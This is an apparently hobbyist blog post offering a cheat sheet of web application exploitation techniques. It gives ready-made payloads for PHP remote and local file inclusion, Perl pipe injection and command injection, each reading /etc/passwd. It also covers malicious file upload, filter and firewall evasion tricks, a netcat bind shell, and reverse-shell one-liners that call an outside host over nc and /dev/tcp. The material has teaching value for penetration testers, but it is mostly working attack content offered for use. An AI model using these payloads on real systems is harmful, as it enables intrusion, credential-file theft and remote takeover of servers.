Posts A skidalicious cheat sheet of web app exploitation techniques
Post
Cancel

A skidalicious cheat sheet of web app exploitation techniques

Background

This is intended to be a concise cheat sheet for common web application exploitation techniques. Most of these techniques are well known, but hopefully, this can serve as a place to briefly explain how to put a web application exploit together in pieces, depending on what you need to do to exploit it modularly. This should cover the vulnerability themselves, as well as some simple IPS/WAF style evasion techniques, and different types of shelling.

Common Vulnerabilities

Remote File Inclusion ( PHP RFI )

Sometimes where on the backend server, usually a file is called, then later included, you can modify the file included to be a URL and then include the remote file in the server’s PHP script. You can sometimes enumerate RFI vulnerabilities by trying to include a normal remote page. In practice RFI generally looks something like this as an example:

http://victim.com/?page=http://oxagast.org/exec.php

Where evil.php on the remote server is whatever PHP code you would like to run, usually something that will later pop you a shell. This would look something like this:

<? php
passthru("cat /etc/passwd");
?>

Then you can call the web script like:

http://victim.com/?page=http://oxagast.org/exec.php

Where cat /etc/passwd is your command.

Local File Inclusion ( PHP LFI )

Locally included files can also be passed to PHP scripts on the server-side. You can pull in /etc/passwd as a test to see if LFI is probable. A common approach would be to find a file that you can inject arbitrary data into, then locally include, such as /proc/self/environ since you can change its values with the User-Agent header.

One approach would be to include via a simple directory transversal on the vulnerable value:

http://victim.com/badlfi.php?file=../../../../../../../../proc/self/environ

Another approach would be to use a filter, then to decode the base64 output:

http://victim.com/badlfi.php?file=php://filter/convert.base64-encode/resource=../../../../../proc/self/environ

While changing the User-Agent header value to something like <? php system('cat /etc/passwd') ?> where cat /etc/passwd is your command.

Perl Open Read Injection ( Perl | )

Due to a nuance of how perl can open a file for reading, as well as execute code via the same function, you can often find a URL such as:

http://victim.com/nastyperl.pl?file=index.txt

Then change the request to:

http://victim.com/nastyperl.pl?file=index.txt|cat /etc/passwd

Where anything after the pipe “|” character will be executed as a command. The output should usually hit the web browser.

Miscellaneous system abuse command injection

A couple of examples of how calls to system or eval like functions could be abused to execute arbitrary code:

http://victim.com/system.cgi?s=;cat /etc/passwd

http://victim.com/system.cgi?s=&& cat /etc/passwd

http://victim.com/system.cgi?s=echo | cat /etc/passwd

http://victim.com/system.cgi?s=$(cat /etc/passwd)

http://victim.com/system.cgi?s=`cat /etc/passwd`

http://victim.com/system.cgi?s=;cat /etc/passwd

Upload arbitrary files as executable code

Sometimes you can even simply upload a file containing php, perl, or other CGI code with another extension (such as .txt, .png, jpg, pdf, etc), then have the code executed when you try to read the file through the browser. Occasionally you may need to pull other tricks such as faking the header of another file type before the actual PHP code to fool the server into thinking that it is a valid file of the correct type. Sometimes this can be accomplished by embedding the PHP code within metadata as well.

Evasion Techniques

Command-line space without space

Sometimes either because of an IPS or WAF in place, or just because of the way the CGI on the server is designed, you cannot have any spaces in your command. Luckily, a neat way around this problem is a little-known feature of shell scripting. You can add ${IFS} to any place where a space should reside in the command (in between arguments, etc) to add a variable in place of an actual space. You can also use the syntax {command,-argument,blah} to accomplish the same thing.

Example:

http://victim.com/sys.cgi?s=ping${IFS}8.8.8.8${IFS}-c${IFS}1

and

http://victim.com/sys.cgi?s={ping,8.8.8.8,-c,1}

Both extrapolate to running the command ping 8.8.8.8 -c 1

Arbitrary evasion characters ( such as %00, %01, etc )

Sometimes filters in the program itself or the IPS or WAF will disable direct exploitation of a directory transversal. Enter evasion characters such as adding an HTTP hexadecimal character within the URL you’re trying to pull. I’ve had things like %00 and %01 work when it comes to evasion techniques. So as an example, instead of ../../../../etc/passwd you could do ..%01/..%01/..%01/..%01/etc/passwd. If this does not work, try changing it to NULL or other characters (usually something low on the ASCII table).

Types of shell connections

Once you have achieved remote code execution using another method, your last step is to grab a shell. This is usually going to be done one of two ways, a bind shell, or a reverse shell. Each has its strengths and weaknesses.

Bind shell

A bind shell will, as the name implies, bind a shell (/bin/bash, /bin/sh, etc) to a listening port on the server. This can be handy if you know there is a port open on the firewall that is not currently in use by service, also handy if you want to have it respawn on this port after a closed connection.

nc -l -p 7777 -e /bin/sh

Assuming there is no firewall in the way, you should be able to connect to port 7777 via netcat on the attacking machine and have a shell.

Reverse shell

Reverse shells are handy when you have a more restrictive firewall, but most outgoing traffic is not strictly filtered, and you have control of your local firewall (you’ll need to open a port locally, and forward it on your router).

Run a listener locally after forwarding a port on your local router and opening the firewall port 7777 (this can be anything really, and is sometimes beneficial to be a commonly used port like 80 or 443) then run a reverse shell on the victim machine as:

nc oxagast.org 7777 -e /bin/sh

or

bash -i >& /dev/tcp/oxagast.org/4444 0>&1

Conclusion

You should now have a rudimentary understanding of web application exploitation, and can go on to build your exploits from here. Most modern software these simple tricks won’t work on, however, there are /many/ things they will, not to mention new vulnerabilities are found all the time using these techniques.

Happy hunting!

This post is licensed under CC BY 4.0 by the author.